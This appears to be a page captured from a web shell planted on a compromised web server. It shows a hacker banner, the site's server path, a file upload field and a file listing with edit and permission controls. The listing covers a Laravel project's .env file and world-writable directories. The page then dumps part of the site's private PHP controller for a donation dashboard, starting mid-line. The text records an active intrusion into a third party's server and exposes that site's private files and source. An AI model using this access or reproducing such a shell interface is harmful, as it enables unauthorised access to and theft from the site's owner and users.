I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
user()->id)->first()->balance;
$donation_amount = Transaction::Auth()->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->sum('request_amount');
$add_money_amount = Transaction::Auth()->where('type', PaymentGatewayConst::TYPEADDMONEY)->where('status', 1)->sum('request_amount');
$last_donation_amount = Transaction::Auth()->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->orderBy('id', 'desc')->first();
$all_time_risede = Transaction::where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->sum('request_amount');
$total_event = Event::toBase()->where('status', 1)->count();
$total_donate_time = Transaction::Auth()->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->count();
$total_coin = UserCoin::where('user_id', auth()->user()->id)->first()->balance;
$campaign_total = Campaign::toBase()->where('status', 1)->count();
// Canva js data
$start = strtotime(date('Y-01-01'));
$end = strtotime(date('Y-12-31'));
$donate_chart = [];
$donate_month = [];
while ($start < $end) {
$start_date = date('Y-m', $start).'-01';
$end_date = date('Y-m', $start).'-31';
$amount = Transaction::Auth()
->where('type', PaymentGatewayConst::TYPEDONATION)
->whereDate('created_at','>=',$start_date)
->whereDate('created_at','<=',$end_date)
->where('status', 1)
->sum('request_amount');
$donate_chart[] = number_format($amount);
$donate_month[] = date('Y-m-d', $start);
$start = strtotime('+1 month',$start);
}
//Donation history
$donation_history = Transaction::with('campaign')->orderBy('id', 'desc')->Auth()->where('type', PaymentGatewayConst::TYPEDONATION)->limit(3)->get();
$data = [
'balance' => $balance,
'donation_amount' => $donation_amount,
'campaign_total' => $campaign_total,
'total_donate_time' => $total_donate_time,
'total_coin' => $total_coin,
'last_donation_amount' => $last_donation_amount->request_amount ?? 0,
'all_time_risede' => $all_time_risede,
'total_event' => $total_event,
'donate_chart' => $donate_chart,
'donate_month' => $donate_month,
'donation_history' => $donation_history,
'add_money_amount' => $add_money_amount,
];
return view('user.dashboard',compact("page_title", "data"));
}
public function donationHistory(){
$page_title = __('Donation History');
$donation_history = Transaction::with('campaign')->orderBy('id', 'desc')->Auth()->where('type', PaymentGatewayConst::TYPEDONATION)->paginate(12);
return view('user.donation-history',compact("page_title", "donation_history"));
}
public function certificates(){
$page_title = __('Certificates');
return view('user.certificates',compact("page_title"));
}
public function mpctokens(){
$page_title = __('MPC Tokens');
$authUserId = Auth::id();
$sql = "SELECT ct.*,
a.firstname,
a.lastname
FROM coin_transactions ct
JOIN admins a ON ct.createdby = a.id
WHERE ct.user_id = :auth_user_id
ORDER BY ct.id DESC";
$transactions = DB::select($sql, [
'auth_user_id' => $authUserId,
]);
// $transaction = CoinTransaction::with('createdby')->orderBy('id', 'desc')->Auth()->paginate(12);
return view('user.mpctokens',compact("page_title", "transactions"));
}
public function logout(Request $request) {
Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect()->route('user.login')->with(['success' => [__('Logout Successfully')]]);
}
}